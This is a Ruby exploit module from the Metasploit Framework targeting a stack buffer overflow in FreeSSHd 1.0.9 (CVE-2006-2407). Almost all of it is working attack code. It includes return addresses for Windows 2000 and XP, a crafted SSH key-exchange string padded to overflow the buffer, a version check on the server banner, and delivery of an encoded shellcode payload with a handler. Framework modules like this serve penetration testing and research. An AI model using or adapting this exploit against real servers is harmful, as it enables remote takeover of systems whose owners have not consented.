##
# $Id: freesshd_key_exchange.rb 7724 2009-12-06 05:50:37Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to 
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote
	Rank = AverageRanking

	include Msf::Exploit::Remote::Tcp

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'FreeSSHd 1.0.9 Key Exchange Algorithm String Buffer Overflow',
			'Description'    => %q{
				This module exploits a simple stack overflow in FreeSSHd 1.0.9.
				This flaw is due to a buffer overflow error when handling a specially
				crafted key exchange algorithm string received from an SSH client.
			},
			'Author'         => 'MC',
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 7724 $',
			'References'     => 
				[ 
					['CVE', '2006-2407'],
					['OSVDB', '25463'],
					['BID', '17958'],
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'process',
				},
			'Payload'        =>
				{
					'Space'    => 500,
					'BadChars' => "\x00",
					'StackAdjustment' => -3500,
				},
			'Platform'       => 'win',
			
			'Targets'        =>
				[
					[ 'Windows 2000 Pro SP4 English', { 'Ret' => 0x77e56f43 } ],
					[ 'Windows XP Pro SP0 English',   { 'Ret' => 0x77e51877 } ],
					[ 'Windows XP Pro SP1 English',   { 'Ret' => 0x77e53877 } ],
				],

			'Privileged'     => true,

			'DisclosureDate' => 'May 12 2006',

			'DefaultTarget' => 0))

			register_options( [ Opt::RPORT(22) ], self.class)

	end

	def exploit
		connect

		sploit =  "SSH-2.0-OpenSSH_3.9p1" 
		sploit << "\x0a\x00\x00\x4f\x04\x05\x14\x00\x00\x00\x00\x00\x00\x00"
		sploit << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x07\xde"
		sploit << rand_text_alphanumeric(1055) + [target.ret].pack('V')
		sploit << payload.encoded + rand_text_alphanumeric(19000) + "\r\n"
               
		res = sock.recv(22)
			if ( res =~ /SSH-2.0-WeOnlyDo 1.2.7/)
				print_status("Trying target #{target.name}...")
				sock.put(sploit)                                
			else
				print_status("Not running a vulnerable version...")
			end
  
		handler
		disconnect

	end
end
